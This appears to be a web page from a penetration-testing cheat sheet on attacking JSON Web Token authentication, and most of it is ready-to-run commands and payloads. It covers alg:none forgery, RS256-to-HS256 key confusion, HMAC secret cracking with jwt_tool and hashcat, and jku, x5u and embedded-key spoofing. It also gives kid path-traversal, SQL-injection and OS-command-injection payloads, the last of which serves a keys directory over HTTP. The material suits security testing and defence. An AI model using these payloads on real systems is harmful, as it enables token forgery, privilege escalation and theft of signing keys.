Skip to main content
JSON Web Tokens (JWTs) are commonly used for authentication and authorization. Numerous implementation flaws can allow attackers to forge tokens and escalate privileges.

Quick Assessment Workflow

1

Scope the Session Control

Remove cookies/headers one at a time to identify which token gates authorization.
2

Locate JWTs in Traffic

Find JWTs in Authorization: Bearer, custom headers, or cookies using regex:
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
3

Decode and Inspect

python3 jwt_tool.py <JWT>
# Note: alg, exp, role, id, username, email claims
4

Check Signature Enforcement

Flip a few bytes in the signature and replay. If accepted, signature validation is missing.
5

Run All Tests

python3 jwt_tool.py -M at \
    -t "https://api.example.com/api/v1/user/76bab5dd" \
    -rh "Authorization: Bearer eyJhbG..."

Attack Techniques

Algorithm: None

Some libraries accept alg: none tokens without verification:
// Modified header
{"alg": "none", "typ": "JWT"}

// Token becomes: base64(header).base64(payload).  (empty signature)
Using Burp JWT Editor: Attack → None Algorithm

RS256 → HS256 Confusion (CVE-2016-5431)

Change the algorithm from asymmetric RS256 to symmetric HS256, then sign with the public key as the secret:
# Extract the server's public key
openssl s_client -connect example.com:443 2>&1 < /dev/null \
  | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

# Using Burp JWT Editor: Attack → HMAC Key Confusion Attack

Brute-Force HMAC Secret (HS256)

# Using jwt_tool
python3 jwt_tool.py <JWT> -C -d wordlist.txt

# Using hashcat
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r best64.rule

Deriving JWT Secret from Leaked Config

Pattern observed in some workflow automation stacks:
# If you have config file + user DB
jwt_secret = sha256(encryption_key[::2]).hexdigest()   # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

JWKS Spoofing (jku Header)

# 1. Verify jku URL points to legitimate JWKS file
# 2. Modify token's jku to point to attacker-controlled URL
# 3. Host malicious JWKS at that URL with your own public key
# 4. Sign modified claims with your private key

python3 jwt_tool.py JWT_HERE -X s
# Generates a JWKS server you control

x5u Header Manipulation

# Generate self-signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  -keyout attacker.key -out attacker.crt

# Host attacker.crt at a URL
# Change x5u in token header to point to your cert
# Sign with attacker.key

Embedded JWK (CVE-2018-0114)

Attacker embeds a new public key in the JWT header, and the server uses it:
# Generate new key pair
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt

# Embed public key in JWT header (Burp JWT Editor → Attack → Embedded JWK)

kid (Key ID) Attacks

Path Traversal via kid

# Target files with predictable content
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# Using /proc/sys/kernel/randomize_va_space (contains "2")
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"

# Using null/empty file with AA== key
jwt-editor key: HS256, k=AA==  # then set kid to ../../../dev/null

SQL Injection via kid

-- kid payload to force known signing key via UNION
non-existent-index' UNION SELECT 'ATTACKER';-- -

OS Command Injection via kid

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

ES256 Private Key Recovery (Same Nonce Reuse)

If ES256 uses the same nonce for two different tokens, the private key can be mathematically recovered. See ECDSA nonce reuse attack.

JTI (JWT ID) Replay

If the max JTI length is small (e.g., 4 digits: 0001–9999), IDs will wrap around. Send 10000 requests between successful uses to replay an expired JTI.

Cross-Service Relay Attack

If a shared JWT service issues tokens for multiple clients, a token issued for Client A might be accepted by Client B. Try signing up on another service using the same JWT service and replay the token.

Expiry and Token Claims

# Read JWT with expiry check (timestamp in UTC)
python3 jwt_tool.py <JWT> -R

# If token has "exp" claim, test replaying after expiry
# Store the token and send it after the indicated expiry time

Tools

jwt_tool

Decode, tamper, crack, and run automated attack modes (-M at for all tests).

Burp JWT Editor

Decode/re-sign in Repeater, generate custom keys, built-in attacks (none, HMAC confusion, embedded JWK, jku/x5u).

hashcat -m 16500

GPU-accelerated HS256 secret cracking.
# jwt_tool all tests
python3 jwt_tool.py -M at -t "https://api.target.com/" -rh "Authorization: Bearer <JWT>"

# Dump specific JWT
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Build docs developers (and LLMs) love